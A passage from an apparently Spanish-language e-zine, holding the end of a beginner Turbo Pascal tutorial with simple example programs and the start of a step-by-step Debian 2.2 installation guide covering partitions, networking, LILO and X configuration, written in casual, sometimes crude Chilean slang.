esto. Los comentarios en Pascal, se hacen entre { } y no afectan al programa
obviamente, o sea el programa anterior podria ser asi tambien:

program bienvenida; {Nombre del programa}
uses wincrt; {Usa una ventana de Window$}
var {Se definen las variables}
x : string[33]; {Se define "x" como "string" de max. 33 carcateres}
begin {Comienzo}
write('Ingresa tu nombre: '); {Sale escrito en pantalla: 'Ingresa tu nombre'}
read(x); {Te preguntan por el valor de la variable "x"}
write('Bienvenido ',x,' al curso de pascal por meth0dist'); {Puedes deducirlo??}
end. {Final}

02-->>>USO DEL "REPEAT"<<<--

Vamos ahora a ver para que sirven el "repeat" y en "until". El "repeat" nos sirve
para repetir procesos sin tener que volver a escribirlos y en "until" para
detener el repeat. A continuacion explicare la utilizacion del "repeat" y "until"
en este codigo, asi que supongo que ya sabi lo que teni que hacer po, correrlo!!!

program puntaje_paa;
uses wincrt;
var
a,b,c,ndp,z :real;
begin
repeat
clrscr;
z:=0;
begin
gotoxy(1,1);write('**********************PUNTAJE P.A.A.**********************');
gotoxy(1,3);write('Ingrese cuantas preguntas son:');
gotoxy(1,4);read(ndp);
gotoxy(1,6);write('Ingrese las respuestas buenas:');
gotoxy(1,7);read(a);
gotoxy(1,9);write('Ingrese las respuestas malas:');
gotoxy(1,10);read(b);
c:=320+(8.25)*(a-b/4);
write('El resultado es ',c:0:1);
gotoxy(1,14);write('Presione enter para continuar');
readkey;
end;
until z=1;
end.

Lo que hace este programa es preguntarte cuantas preguntas tiene la prueba,
cuantas buenas y cuantas malas, sacando tu puntaje, y volviendo a correr. Explico
linea por linea, a los weones flojos que no sacan sus propias conclusiones...

-"program puntaje_paa;"
Bueno, ya saben que el programa se llama "puntaje_paa", o no??.

-"uses wincrt;"
Ocupa una ventana de window$.

-"var"
a,b,c,ndp,z :real;'
Especifico las variables como numeros reales o "real". Prueba poniendo letras
cuando te pregunte por las variables y como no son numeros reales te va a tirar
un error.

-"begin"
Aca comienza el programa.

-"repeat"
Desde esta parte del programa, se repetira lo que salga a continuacion. El
"repeat", tiene que terminar con un "until", sino el programa no correra. A este
no se le pone punto y coma.

-"clrscr;
z:=0;"

Lo que el "clrscr" es igual al "cls" de Dos. Limpia la pantalla ( no se imaginen
que va a salir una mano a limpiar su pantalla!!), borra todo lo escrito. Despues
definimos a "z:=0", o sea "z" vale "0".

-"begin
gotoxy(1,1);write('**********************PUNTAJE P.A.A.**********************');
gotoxy(1,3);write('Ingrese cuantas preguntas son:');
gotoxy(1,4);read(ndp);"


Con "begin", comienza lo que viene despues del "repeat". "gotoxy(x,y);write("");"
sirve para que el texto salga escrito en el lugar de la pantalla en que nosotros
querramos que salga (valga la redundancia), siendo "x" pal lado e "y" para abajo.
Luego el programa te pregunta cuantas preguntas son, y lee la variable "real":
"ndp", que quiere decir "numero de preguntas". Como notaste tambien podemos
utilizar el "gotoxy(x,y)", con el "read", preguntandote en el lado de la pantalla
donde tu quieres y ademas para que se vea mas ordenado el programa.

-"gotoxy(1,6);write('Ingrese las respuestas buenas:');
gotoxy(1,7);read(a);
gotoxy(1,9);write('Ingrese las respuestas malas:');
gotoxy(1,10);read(b);"

Luego te pregunta por las preguntas buenas y por las malas, leyendo las variables
"integer", "a" y "b" y guardandolas.

-"c:=320+(8.25)*(a-b/4);
write('El resultado es ',c:0:1);"

Aca te da el resultado que obtuviste. Lo que hicimos fue hacer que "c" fuera
igual a "320+(8.25)*(a-b/4)", que es la formula para obtener el puntaje,
utilizando las variables "a" y "b".Ponemos que escriba "c:0:1", para que nos de
el resultado con un decimal. Obviamente que si ponemos: "c:0:2", el resultado te
lo va a dar con dos decimales.

-"gotoxy(1,14);write('Presione enter para continuar');
readkey;
end;"

Ya deben saber lo que la primera linea significa, pero "readkey" no, y este es
una especie de pausa, que al presionar cualquier tecla continua. El "readkey"
sirve de mucho ya que si ponemos solo: "write('Presiona enter para continuar')",
este, no se veria en pantalla porque volveria al comienzo del "repeat" y por lo
tanto no veriamos el resultado que hubiesemos obtenido. Luego cerramos el primer
"begin" con un "end;".

-"until z=1;
end."

"Until" es el complemento del "repeat", ya que el programa se repetira hasta que
z=1, o sea que "z" sea igual a ,"1" pero no lo sera nunca, ademas que le
asignamos el valor "0" a "z" en el comienzo, por lo que este programa nunca
terminara de repetirse a menos que cierres la ventana.

Veamos ahora un codigo mas simple utilizando el "repeat" y "until".

program edades;
uses wincrt;
var
e : integer;
begin
repeat
clrscr;
e := 0;
gotoxy(1,1);write('Te seguire preguntando por tu edad hasta que respondas 18');
gotoxy(1,2);write('Cual es tu edad: ');
gotoxy(1,3);read(e);
until e=18;
write('por fin respondiste bien');
end.

Si te fijai bien, cuando respondas "18", el programa finalizara. Sino te seguira
preguntando, porque "e" tiene que ser igual a "18" para finalizar ("Until e=18;")

03--->>>USO DEL ROUND Y DEL TRUNC<<<---

Si quieres redondear un numero, o sea tienes:"4.5", con la funcion: "round (4.5)"
te mostrara "5". Mira este ejemplo :

program redondear;
uses wincrt;
begin
write('Cuatro coma cinco redondeado es : ',round(4.5));
end.

El "trunc" en cambio sirve para mostrar el numero sin decimal, o sea si tienes:
"4.5", te mostrara "4", y no "5", como lo haria el "round". Ejemplo:

program truncar;
uses wincrt;
begin
write('Cuatro coma cinco redondeado es : ',trunc(4.5));
end.

04--->>>USO DEL "IF"<<<---

El "if" nos sirve para condicionalizar, por lo que es muy util. Acontinuacion voy
a explicar su uso, ademas del de "then" y "else" que necesita para funcionar bien,
aunque puede hacerlo sin el "else". Copia el siguiente codigo y correlo para ver
lo que hace.

program tienes_18;
uses wincrt;
var
e : integer;

begin
gotoxy(1,1);write('Que edad tienes?');
gotoxy(1,2);read(e);
if e>=18 then
begin
clrscr;
write('Eres mayor de Edad');
end
else
begin
clrscr;
write('Eres menor de Edad');
end;
end.

Fijate bien en el codigo. Lo que hace este programa es: Si ("if") pones un numero
mayor o igual (">=") a 18 entonces ("then"), escribira "Eres mayor de edad". Sino
("else"), escribira "Eres menor de edad". Simple no? Lo demas supongo que ya lo
sabes, lo del "clrscr" y "gotoxy(x,y);", sino vuelve a leer lo de mas arriba.
Recuerda que siempre despues del "then", viene abajo un "begin" y cuando termina
ese "begin", el "else" se utiliza asi:
"end
else
begin"


05--->>>HACIENDO MENUS Y USANDO EL "CASE"<<<---

Ahora voy a explicar como hacer un menu utilizando la funcion "procedure" o
procedimiento. Como siempre, copien y corran este programa sin miedo (ajajajjaj).

program notas;
uses wincrt;
var
r,mat,cas,ing,his,dep,fil,fis,qui,rel,g,k:real;
p:integer;
procedure ingreso_de_notas;
begin
clrscr;
gotoxy(1,1);write('*******************Ingreso de notas*****************');
gotoxy(1,3);write('Ingrese su nota en CASTELLANO : ');
read(cas);
gotoxy(1,4);write('Ingrese su nota en MATEMATICAS : ');
read(mat);
gotoxy(1,5);write('Ingrese su nota en INGLES : ');
read(ing);
gotoxy(1,6);write('Ingrese su nota en HISTORIA Y GEOGRAFIA : ');
read(his);
gotoxy(1,7);write('Ingrese su nota en DEPORTES : ');
read(dep);
gotoxy(1,8);write('Ingrese su nota en FILOSOFIA : ');
read(fil);
gotoxy(1,9);write('Ingrese su nota en FISICA : ');
read(fis);
gotoxy(1,10);write('Ingrese su nota en QUIMICA : ');
read(qui);
gotoxy(1,11);write('Ingrese su nota en RELIGION : ');
read(rel);
end;

procedure ver_promedio;
begin
clrscr;
g:=cas+mat+ing+his+dep+fil+fis+qui+rel;
k:=g/9;
clrscr;
gotoxy(1,5);write('Tu promedio es: ', k:0:1);
readkey;
end;

procedure salir;
begin
clrscr;
r:=1;
gotoxy(13,13);write('Derechos reservados a meth0dist');
end;

begin
repeat
clrscr;
r:=0;
gotoxy(1,1);write('************************MENU***************************');
gotoxy(1,3);write('[1] PARA INGRESAR SUS NOTAS');
gotoxy(1,4);write('[2] PARA VER SU PROMEDIO');
gotoxy(1,5);write('[3] PARA SALIR DE ESTE PROGRAMA');
gotoxy(3,7);write('--> <--');
gotoxy(7,7);read(p);
case p of
1:ingreso_de_notas;
2:ver_promedio;
3:salir;
end;
until r=1;
end.

Como pueden notar en el menu, dependiendo de la opcion que elijo, se va hacia el
procedure que hice ("case p of"). A la vez, cuando termina el codigo del
"Procedure", se devuelve al menu y se repetira hasta que "r" valga "1". En el
primer "procedure", que es : "procedure ingreso_de_notas", te preguntan por tu
promedio en cada ramo y se devuelve al menu.
En el segundo, "procedure ver_promedio", te muestran tu promedio tras ocupar la
formula : "g:=cas+mat+ing+his+dep+fil+fis+qui+rel; k:=g/9;" y regresa al menu. Lo
que hace que al ingresar al tercer "procedure", que es el "procedure salir", es
terminar el programa ya que a "r" le asignamos el valor "1", por lo que no se
repetira el menu, sino que terminara ("until r=1;"). Para utilizar la funcion
"procedure", se utiliza el "case", que significa "en caso de que". Luego se pone
una variable y los posibles casos.
Con el "case", podemos disponer de varias opciones, a diferencia del "if" que si
lo ocupamos una vez nos sirve para dos opciones solamente. Ve este codigo,
copialo, pegalo y correlo.

program opciones;
uses wincrt;
var
x:integer;
begin
clrscr;
write('Ingrese un numero: ');
read(x);
case x of
1: begin
clrscr;
write('Presiono el uno ');
end;
2: begin
clrscr;
write('Presiono el dos');
end;
3: begin
clrscr;
write('Presiono el tres');
end;
4: begin
clrscr;
write('Presiono el cuatro ');
end;
5: begin
clrscr;
write('Presiono el cinco');
end;
end;
if x>=6 then
begin
clrscr;
write('Mayor o igual a 6');
end
end.

Bueno como notaras, dependiendo del numero que escribas te saldra escrito este en
pantalla. Muy simple no? Solo se pone: "case", la variable, "of", y las posibles
respuestas. Mira lo que sucederia si ocuparias un "if" para esto:

program opciones;
uses wincrt;
var
x:integer;
begin
clrscr;
write('Ingrese un numero: ');
read(x);
begin

if x= 1 then
begin
clrscr;
write('Presiono el uno');
end;

if x= 2 then
begin
clrscr;
write('Presiono el dos');
end;


if x= 3 then
begin
clrscr;
write('Presiono el tres');
end;


if x= 4 then
begin
clrscr;
write('Presiono el cuatro');
end;


if x= 5 then
begin
clrscr;
write('Presiono el cinco');
end;

if x>=6 then
begin
clrscr;
write('Mayor o igual a 6');
end;

end;
end.

Seria un codigo mas largo y mas complicado que el de usando el "case", ya que
tendriamos que hacer un "if" por cada numero del 1 al 5, con "begin" y "end" que
estan demas. Por eso te recomiendo guiarte por los codigos mas cortos y al
programar, ser bien ordenado o si, no te vay a confundir si teni algun error.

06.--->>>USO DEL FOR<<<---

Ahora, otro comando para ahorranos lineas es el "for" o "para", con el cual nos
ahorramos lineas y tiempo, ademas el codigo es muy simple. Por ejemplo queremos
que salga escrito en la pantalla 20 veces "Hola". Pensaras que haciendo esto que
sale mas abajo, que tambien funciona, estas al otro lado, pero te demorarias
mucho en escribirlo y perderias un poco de tiempo.
Compara este codigo:

program hola;
uses wincrt;
var
x :integer;
begin
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
end.


Con este:

program hola;
uses wincrt;
var
x :integer;
begin
for x:=1 to 20 do
write(' Hola ');
end.

Obiviamente que es mucho mas corto y a la vez mucho mas comodo. Funciona muy
simple. Ponemos "for", la varible, sea igual a "1" hasta "20", y abajo lo que
queremos que haga. Esto nos puede simplificar muchos codigos, escribiendo menos
lineas y haciendo que el programa que hagamos pese menos, no se quede pegado como
windows...

07.-->>>OPERADORES MATEMATICOS<<<--

Estos son muy simples, asi ke no les va a costar nada aprenderlos. "x" y "z" son
las variables que voy a utilizar, recuerden que pueden ocupar cualquiera.

07.1.- Igual a, no igual a.
z:=x; Esto quiere decir que "z" es igual a "x", o sea tendran el mismo valor.
Aca tienen un programa de ejemplo.

program om; 
uses wincrt;
var
x,z : integer;
begin
write('Ingrese un valor para x: ');
read(x);
z:=x;
write('X es : ', x ,' y Z es :', z ,' ya que a Z se le asigno el valor de X');
end.

z<>x; Esto quiere decir que "z" no es igual a "x"

program no_igual;
uses wincrt;
var
x : integer;
begin
writeln('Ingresa un numero: ');
readln(x);
if x<>4 then
begin
write('No es igual a cuatro');
end
else
begin
write('Es cuatro');
end;
end.



07.2.- Mayor que, menor que.

z>x; Esto quiere decir que "z" es mayor que "x".
z<x; Esto quiere decir que "z" es menor que "x".

07.3.- Igual o mayor que, igual o menor que.

z>=x; Esto quiere decir que "z" es mayor o igual que "x"
z<=x; Esto quiere decir que "z" es menor o igual que "x"

07.4.- Multiplicacion, division, suma y resta.

f:=x*z; Esto quiere decir que "f" es igual a "x" multiplicado por "z".
f:=z/x; Esto quiere decir que "f" es igual a "z" dividido por "x".
f:=z+x; Esto quiere decir que "f" es igual a "z" mas "x".
f:=z-x; Esto quiere decir que "f" es igual a "z" menos "x".

07.5.- Raiz cuadrada y cubo.
El uso de la raiz cuadrada y de elevar al cuadrado, es con "sqrt(numero);", para
la raiz cuadrada y "sqr(numero);" para elevar al cuadrado el numero. Ejemplo:

program raicez;
uses wincrt;
begin
writeln('La raiz cuadrada de 64 es',Sqrt(64));
writeln('Cuatro al cuadrado es ', Sqr(4));
end.

08.--->>>TERMINO<<<---

Hazta aka los dejo con esta especie de cursillo o introduccion, para que los
incite a investigar mas y aprender sobre este lenguaje de programacion que es muy
simple y entretenido. Ademas para que empiezen a utilizar sus propios programas y
se sientan orgullos de ellos., sin tener que copiar los de otros.
Espero que les haya servido de algo este pequeño curso...si no, chupenla.
El turbo pascal, trae un help bastante bueno si es que tienen cualquier tipo de
dudas, pero esta en ingles asi que si no eres bilingue : estai cagao!!!. Chao a
todos y nos vemos...

Autor : meth0dist
Titulo : Programacion en Turbo Pascal
E-mail : meth0dist@usa.net




,øñ°`´°ñø¸
-<[ 06 ]>-
`°ñø,¸,øñ°

Autor : th3nc0d3r
Titulo : Como Instalar Debian 2.2
Comentario: Esta guia pretende ayudarte a instalar Debian 2.2 en tu pc.
Cualquier consulta diriguirse a irc.linux-chile.org #linux
Contenido :

1. Como Instalar Debian 2.2
^^^^^^^^^^^^^^^^^^^^^^^^^^^
Bueno, lo primero para instalar cualquier distribución, es seleccionar el modo
de partida en la BIOS (para entrar a la BIOS, lo más comñun es apretar _supr_
mientras el equipo parte). Nos movemos en los menúes hasta encontar la parte
que diga el orden de arranque de nuestro computador como por ej:

A,C - CDROM,A,C -C Only

En nuestro caso seleccionaremos la partida desde el CDROM.
Despues seleccionamos _salir_guardando_los_cambios_ y el equipo debería
reiniciar.

2. Iniciando La Instalación:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
**NOTA1: Recuerda incertar el CDROM de Debian en la unidad, para que parta
desde el CD el equipo.

Bueno, si todo ha ido bien en la BIOS, el computador debería iniciar desde el
CDROM con un mensaje de bienvenida a "Debian 2.2 GNU/Linux" y nos pedirá
apretar _enter_,al hacerlo deberá partir el kernel... mostrará algo como esto:

Loading root.bin.........
loading linux............

Después de cargar el kernel saldrá un mensaje de bienvenida, apretamos _ok_

2.1 Selección del teclado:
^^^^^^^^^^^^^^^^^^^^^^^^^^
Aquí buscamos nuestro teclado dentro de la lista:
qwerty/es : Spain ==>este es el teclado en Español ;)

Al seleccionar esto (solamente si tienes particionado tu disco, sino aparecera
cfdisk para crear la particion donde instalar Debian), aparecerá una lista de
Pasos a seguir. Es _conveniente_ leer los pasos a seguir, recuerda que Debian
no es como la mayoría de las distribuciones _Next_ ;), sino más bien es al
estilo _sabes_REALMENTE_lo_que_estas_haciendo_??_ (si al más puro estilo de
Slackware =). La lista es algo como la siguiente:

Configure Keyboard
Partition a Hard Disk (esto lo hace con cfdisk ;)
Initializa and Active a Swap partition
Do without a Swap partition
Initialize a Linux Partition
Mount a Previously-initializad partition
Umount a Partition
Install Operating System kernel and modules
Configure a Device Driver Modules
Configure PCMCIA Support
Configure the Hostname
Configure the Network
Install the Base System
Configure the Base System
Make Linux Bootable Directly from Hard Disk
Make a Boot Flopy
Reboot the System
View the partition table
Execute a Shell
Restart Instalation System


Si continuamos el orden que nos pone Debian,lo más probable es que no entremos
a cada una de estas categorías (obvio ;), asi que no te preocupes por no
"Configure PCMCIA support" ;)

2.2 Seleccionando las particiones:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Si ya habías hecho las particiones con anterioridad (partition magic o fips),
tendrás que seleccionar cual quieres que sea tu particion raiz (/), y después
seleccionar otras _posibles_ particiones con su punto de montaje por ejemplo,
esta es mi distribución:

polux:~# df
Filesystem 1k-blocks Used Available Use% Mounted on
/dev/hda1 3842376 600828 3046360 16% /
/dev/hda2 3842232 475696 3171348 13% /home
/dev/hda5 3842200 184208 3462804 5% /usr/local
/dev/hda6 909112 20 862908 0% /wilson
polux:~#

Como ves, tengo mi disco particionado en /dev/hda[1-2-5-6], donde 1 y 2 son
particiones primarias;y 5 y 6 son particiones lógicas. Cada una esta con su
punto de montaje.

2.3 Install Operating System:
^^^^^^^^^^^^^^^^^^^^^^^^^^^
Aquí tenemos que seleccionar el medio por el cual instalaremos la base del
sistema:

CDROM ==>Es lo que tenemos que seleccionar ;)
/dev/fd0 =\---Esta opción es para los que quieran instalar Debian por
/dev/fd1 =/---Diskettes (si es que alguien lo hace aún ;)


Después de seleccionar el CDROM, nos preguntará (en caso de tener más de un
CDROM) que lector queremos ocupar. Luego de eso nos preguntará el PATH
(directorio) donde están los paquetes. Dejamos por defecto la que sale:

---------------------------------
| /instmnt........ |
---------------------------------

Ahora tenemos que seleccionar la forma que queremos de elegir los paquetes:


default :==>Seleccionamos esta, sino no estarías leyendo esta ayuda
list :Choose from a list of all Archive paths
Manually :Enter the directory containing the archive files

Saldrá un mensaje: Please Wait =P

2.4 Configure Devise Driver Modules (Alternate:Configure PCMCIA Support):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Aquí tenemos que elegir que vamos a configurar, un PC de escritorio o un PC
portable con soporte PCMCIA. Elegimos:

"Configure Device Driver Modules"

**NOTA2: Si quieres saber como configurar un PC portable con soporte PCMCIA,el
autor no tiene ningún problema en recibir un "Notebook"de regalo y probar como
configurar el soporte ;).... Aparecera algo así:

Exit (mensaje que no me acuerdo que decia ;)
Block ==>Cosas Raras(RAID, etc), para un sistema de hogar no son necesarias
CDROM ==>Si tienes un CDROM _NO_ Atapi compatible, mira esta lista
FS ==>La lista de Files Sistems soportados por el kernel(smb, vfat,etc)
IPv4 ==>Si quieres enmascarar una red o algo así, mira esto(ipip,ipmasq)
IPv6 ==>Sólo para personas que quieran experimentar con IPv6
MISC ==>Todo lo que no entra en las otras categorías(Sonido,lp,etc)
NET ==>Soporte para tarjetas de red y ppp,slip,plip
SCSI ==>Si tienes adaptadores SCSI o un ZIP, mira aquí
VIDEO ==>Todo lo que es Video4Linux

**NOTA3:Si estas compartiendo disco duro con wilson(guin2), deberás elegir los
soportes necesarios (vfat,dos,smb,etc) /*(smb:Para SAMBA)*/

**NOTA4:Para entrar a Internet(si tienes un MODEM(lease _MODEM_,y no winmodem)
, tienes que cargar el modulo de ppp

2.5 Configure the Network:
^^^^^^^^^^^^^^^^^^^^^^^^^^
Ahora tenemos que responder a una serie de preguntas referentes a la red(si es
que estas en una ;)

2.5.1 Hostname:Ponemos el nombre que nuestro PC tendrá en una RED (ej:microsoft)
^^^^^^^^^^^^^^^
2.5.2 Network Interface:
^^^^^^^^^^^^^^^^^^^^^^^^
gre0
eth0 ==>Esta es al que más se ocupa en las redes Ethernet o Fast Ethernet
ipddp0
Seleccionamos la nuestra (eth0)

2.5.3 DHCP or BOOTP: Aqui nos pregunta si en nuestra red existe un servidor de
^^^^^^^^^^^^^^^^^^^^ DHCP/BOOTP, si es así le respondemos _yes_ y tratará de
buscar al servidor (con un 99% de seguridad lo encontrará =). Al apretar _yes_
hace un auto-test del server, quien le designa IP, Netmask,etc. Si Marcaste
_yes_, tienes que pasar a la seccion (2.7)

**NOTA5:Si Trabajas con Cable modem(vtr,metropolis) o adsl con IP dinámica (si
no tienes idea que es una IP Dinámica, tienes una de esas ;),tienes que marcar
_yes_
Si elegiste _no_ en la parte anterior, pasarás a el resto de las preguntas

2.5.4 Choose a IP adress: Por defecto la Direccion de una Red privada clase C
^^^^^^^^^^^^^^^^^^^^^^^^^ es: 192.168.x.x

2.5.5 Netmask: Para una red de clase C, sin subredes la máscara es 255.255.255.0
^^^^^^^^^^^^^^

2.5.6 Gateway: Si en la red hay un PC haciendo de Pasarela(gateway), tienes k
^^^^^^^^^^^^^^ dar la direccion del PC, si no dejamos en blanco.

2.5.7 Domain Name: Si tines un dominio registrado en ICANN o en el NIC (.cl),
^^^^^^^^^^^^^^^^^^ tienes que escribirlo aqui (ej: que_se_yo.[com-org-net-cl])

2.5.8 DNS: Aqui ponemos la(s) direccion(es) del(os) servidor(es) DNS('s)
^^^^^^^^^^ separadoas por un espacio (en caso de ser más de uno)

2.6 Install the Base System
^^^^^^^^^^^^^^^^^^^^^^^^^^^
Ahora Volvemos a elegir desde donde vamos a instalar Debian:

CDROM ==>es nuestra opción =)
/dev/fd0 ==\--Para los amantes de los diskettes
/dev/fd1 ==/--(si es que no les falla alguno)
mounted ==>mmm
NFS ==>Network File System
Network ==>2xmmm


2.7 Configure the Base System
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

2.8.1 Select Timezone: Ubicamos nuestro País y apretamos _enter_ y con tab
^^^^^^^^^^^^^^^^^^^^^^ seleccionamos una de las opciones que entrege el país
(ej: Chile-->(1)Continental(2)Insular)

2.8.2 Timezone Configuration: Seleccionamos si queremos dejar nuestro reloj
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ con GMT.

**NOTA6:Si tienes más de 2 sistemas operativos corriendo (Linux y wilson)
deberías decir que _no_

2.8 Make Linux Bootable Directly from Hard Disk:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Aqui tenemos que seleccionar como queremos que se instale el LILO

/dev/hda:Install LILO in the MBR (insure)
/dev/hdax:Install LILO in the /target boot sector

**NOTA7:Yo elijo LILO in the MBR(Master Boot Record),pero ten en cuenta que si
tienes otro sistema operativo(como wilson), que se toman el MBR, y lo llegaras
a re-instalar(wilson), temdrás que tener un Diskett con el LILO cargado, para
poder bootear nuestro Linux otra vez =)

2.9 Make a Boot Flopy: Aqui podemos crear un Disco de Arranque, para caso de
^^^^^^^^^^^^^^^^^^^^^^ _desastres_

Después de Crear el disco, nos pedirá reiniciar el computador. Es una buena
opción volver a entrar a la BIOS y seleccionar que parta desde el disco duro
primero(C only - C,A,CDROM - etc).

Ahora ya puedes empezar a trabajar en Debian =), y no tomo más de 15 minutos.
Claro que un sistema así, no es mucho lo que nos ofrece =), asi que sigue
leyendo más ;)

3. Debian System Configuration:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Al reiniciar el equipo, no arrancará wilson (si es que lo tienes instalado =( ),
debido a que debemos configurar el LILO (vi /etc/lilo.conf =). Ya al cargar el
kernel con nuestros flamantes modulos elegidos =), Debian nos llenará de
preguntas =)

3.1 Shall I enable md5 passwords?: Contestaremos _yes_ si nuestro sistema
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ estará aislado de una red guindows. Si
estaremos como servidor de SAMBA, recomiendo poner _no_ (ya saben problemas en
wilson, no en Linux =)

3.2 Shall I install Shadow Passwords?: Contestaremos que _yes_ si es que vamos
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ a dar servicios en los cuales nos
puedan "catear" /etc/passwd y nos puedan romper las passwords con algun crack
(john rulez). En todo caso, yo siempre contestaría que si =)

3.3 Root Pass: Ahora tenemos que ingresar una clave para el superusuario (root)
^^^^^^^^^^^^^^ teniendo que re-ingresarla para comprobar =)

3.4 New User: Crearemos un usuario, para no trabajar en tareas normales como
^^^^^^^^^^^^^ root (como programar o compilar =). Nos pedirá un Username y una
password para el nuevo usuario.

3.5 Remove PCMCIA: Contestaremos que _si_
^^^^^^^^^^^^^^^^^^

3.6 Do you want to use a ppp connection to install the system?: Yo contestaría
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ que _no_, a lo
menos que quieras bajar los paquetes de internet a 3kb/s =)

3.6.1 Ahora elegimos de donde queremos instalar los paquetes. Apt-Setup nos
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ preguntará si
queremos agregar otro CDROM a la lista de donde sacar paquetes.

3.6.2 Add another Apt source: le ponemos que no, para poder instalar solamente
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ los paquetes desde el CDROM.

3.7: How do you want choose additional softaware to install?: Aquí ponemos
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ como vamos a
seleccionar los paquetes adicionales que vamos a instalar:

Simple ==>Es la que vas a seleccionar, sino no estarías leyendo
Advanced ==>mmm, no creo que todavia quieras enfrentarte a dselect
Debería aparecer algo como esto:

[*] C++ Dev ==>Desarrollo en C++ (Librerias)
[*] C Dev ==>Desarrollo en C (Libreria)
[ ] Chinese S
[ ] Chinese T
[ ] Database PG
[*] Debian Devel ==>Desarrollo Debian
[*] Debug
[*] Devel Common ==>Desarrollo Común
[*] Dial up ==>Una Herramienta para conectarse a Inet
[ ] Dial up ISDN
[ ] DNS Server
[*] Fortran ==>Sólo para ver lo que se hacia años atrás ;)
[*] Games ==>Let's Fun
[ ] Gnome Apps
[ ] Gnome Desktop
[ ] Gnome Games
[ ] Gnome Net
[ ] Imap
[ ] Japanese
[ ] Laptop
[*] Newbie Help ==>Yo que tu lo instalaría ;)
[ ] News Server
[*] Objc Dev ==>Desarrollo en Objetive C
[ ] Parallel Computing Dev
[ ] Parallel Computing Node
[ ] Polish
[*] Python ==\
[*] Python Bundle ===\-->Un Potente lenguaje matemático
[*] Python Dev ===/-->Muy de Moda Hoy en día
[*] Python Web ==/
[*] Samba ==>Para Compartir Recursos con maquinas wilson
[*] Science ==>Herramientas científicas
[ ] Sgml
[*] Spanish ==>Sólo ponlo ;)
[*] Tcltk
[*] Tcltk Dev ==>Desarrollo en Tcltk
[*] Tex ==>Herramientas para el formateo en TeX
[*] X Window System ==\-->La cara "bonita" de Linux
[*] X Window System Core ==/-->Servidor Gráfico y eso

Las que están con [*] son las que yo usualmente Instalo,te recomiendo Instalar
los: xxxx Dev, ya que traen librerias que necesitaras para compilar programas
después (ej:ncurses para programas en la consola,etc).

4 EL ataque de preguntas:
^^^^^^^^^^^^^^^^^^^^^^^^^

4.1 AnXious: Tratará de configurar tu servidor gráfico ;)
^^^^^^^^^^^^

**NOTA8: Las siguientes preguntas, estan con respuestas que se adecuan a mi
Hardware, a mis necesidades y gustos. Tu debes responder de acuerdo a _TU_
Hardware, necesidade y gustos. NO ME HAGO RESPONSABLE POR DAñOS EN MONITORES Y
TARJETAS, RESPONDE CON DATOS PRECISOS.

4.1.1 May I continue: _yes_ si queremos tratar de configurarlo y _no_ para
^^^^^^^^^^^^^^^^^^^^^ hacerlo con xf86config luego (o: vi /etc/X11/XF86Config )

Si respondes _no_ mira en la parte 4.2

4.1.2 Auto detect Video Card: _yes_
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

4.1.3 X Window System Fonts:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[*] xfonts-75dpi
[ ] xfonts-100dpi
4.1.4 Terminal Emulators for the X Window System
[*] eterm
[ ] ==>muchos más
[*] xterm
Yo elijo sólo esas dos, cuestión personal =P
4.1.5 Window Managers
[*] Enlightenment
[*] BlackBox
[ ] Sawmill
[ ] Otros
[*] twm
Cuestión personal ;)

4.1.6 XDM: Marcamos _yes_ si queremos activar este Sistema
^^^^^^^^^^

4.1.7 Mouse Protocol
^^^^^^^^^^^^^^^^^^^^
(*) Serial
( ) PS/2
( ) Logitech

4.1.8 Emulate 3 Buttons: Ponemos _yes_
^^^^^^^^^^^^^^^^^^^^^^^^

4.1.9 Mouse Device:
^^^^^^^^^^^^^^^^^^^
/dev/ttyS0 ==>Si es un mouse serial conectado en el COM1
/dev/psaux ==>Si es un mouse PS/2

4.1.10 Select Keymap
^^^^^^^^^^^^^^^^^^^^
(*) US/Standard

4.1.11 Horizontal Sync Range of your Monitor:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
**NOTA9: Elije correctamente las caracteristicas de tu monitor, el dar malos
datos puede causar daños irreparables a tu Hardware. Obviamente, yo no me hago
responsable por algun tipo de daño en tu PC =P

(*) 8514 Compatible 1027x768 87 Hz interlaced no 800x600
( ) Custom

4.1.12 Vertical Sync Range of your Monitor
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
(*) 50-90

4.1.13 Name for your Monitor:(en mi caso) ViewSonic E40
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

4.1.14 Video Memory:(Mini-Nota:Recurda que 1M=1024k)
^^^^^^^^^^^^^^^^^^^^
( ) 256k
( ) 512k
( ) 1024k
( ) 2048k
(*) 4096k

4.1.15 Name for your Video Card: SiS
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

4.1.16 Clockchip
^^^^^^^^^^^^^^^^
(*) None

4.1.17 Should I try to probe for clocks now?:_no_ (en mi caso)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

4.1.18 Default Color Depth
^^^^^^^^^^^^^^^^^^^^^^^^^^
(*) 24bpp

4.1.19 Default Resolution
^^^^^^^^^^^^^^^^^^^^^^^^^
(*) 1024x768

